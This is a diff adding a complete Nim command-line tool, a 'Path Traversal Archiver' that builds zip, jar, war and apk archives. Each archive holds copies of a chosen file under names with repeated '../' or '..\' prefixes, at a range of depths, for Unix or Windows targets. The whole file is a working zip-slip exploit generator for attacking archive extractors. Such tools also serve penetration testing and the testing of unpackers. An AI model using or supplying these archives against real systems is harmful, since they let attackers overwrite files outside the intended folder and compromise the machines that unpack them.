|
| 1 | +import os |
| 2 | +import therapist |
| 3 | +import std/tables |
| 4 | +import std/streams |
| 5 | +import std/sequtils |
| 6 | +import std/strutils |
| 7 | +import zip/zipfiles |
| 8 | + |
| 9 | +let ext_mode = {".zip":fmWrite, ".jar":fmWrite, ".war":fmWrite, ".apk":fmWrite}.toOrderedTable |
| 10 | +let exts = toSeq(ext_mode.keys) |
| 11 | + |
| 12 | +let args = ( |
| 13 | + levels: newStringArg(@["-l", "--levels"], defaultVal="0-10", help="A single level or a range of levels to traverse."), |
| 14 | + os: newStringArg(@["-o", "--os"], defaultVal="unix", choices = @["unix", "win"], help="Target OS (unix|win)."), |
| 15 | + path: newStringArg(@["-p", "--path"], defaultVal="", help="Path to include (e.g. 'etc/')."), |
| 16 | + help: newHelpArg(@["-h", "--help"], help="Show this help message and exit"), |
| 17 | + file_to_add: newFileArg(@["<file_to_add>"], help="File to add in the archive."), |
| 18 | + archive: newStringArg(@["<archive>"], help="Archive filename (Supported extensions are .zip, .jar, .war, .apk)."), |
| 19 | +) |
| 20 | + |
| 21 | + |
| 22 | +proc make_traversal_path(path: string, level: int = 0, os: string = "unix"): string = |
| 23 | + if os == "win": |
| 24 | + let traversal = "..\\" |
| 25 | + let fullpath = traversal.repeat(level) & path |
| 26 | + return fullpath.replace("/", "\\").replace("\\\\", "\\") |
| 27 | + else: |
| 28 | + let traversal = "../" |
| 29 | + let fullpath = traversal.repeat(level) & path |
| 30 | + return fullpath.replace("\\", "/").replace("//", "/") |
| 31 | + |
| 32 | + |
| 33 | +args.parseOrHelp(prolog="Path Traversal Archiver: A tool to create archives containing path-traversal filenames (e.g. '../../etc/passwd').") |
| 34 | + |
| 35 | +var start = 0 |
| 36 | +var final = 0 |
| 37 | +try: |
| 38 | + if "-" in args.levels.value: |
| 39 | + let values = split(args.levels.value, "-") |
| 40 | + start = parseInt(values[0]) |
| 41 | + final = parseInt(values[1]) |
| 42 | + else: |
| 43 | + start = parseInt(args.levels.value) |
| 44 | + final = start |
| 45 | +except ValueError: |
| 46 | + "Please specify a single level (e.g. 3) or a level range (e.g. 1-10) for path traversal.".quit(-1) |
| 47 | + |
| 48 | +let splittedFile = splitFile(args.archive.value) |
| 49 | +let path = args.path.value & lastPathPart(args.file_to_add.value) |
| 50 | + |
| 51 | +if not ext_mode.hasKey(splittedFile.ext): |
| 52 | + let message = "Please specify a supported extention " & $exts & " in the archive filename: " & args.archive.value |
| 53 | + message.quit(-1) |
| 54 | +elif splittedFile.ext in [".zip", ".jar", ".war", ".apk"]: |
| 55 | + echo "Creating archive " & args.archive.value |
| 56 | + var z: ZipArchive |
| 57 | + if z.open(args.archive.value, ext_mode[splittedFile.ext]): |
| 58 | + for i in countup(start, final): |
| 59 | + let fullpath = make_traversal_path(path, level=i, os=args.os.value) |
| 60 | + echo "[+] Adding " & fullpath |
| 61 | + z.addFile(fullpath, newFileStream(args.file_to_add.value, fmRead)) |
| 62 | + z.close() |
| 63 | +else: |
| 64 | + let message = "Extention '" & splittedFile.ext & "' not supported." |
| 65 | + message.quit(-1) |
0 commit comments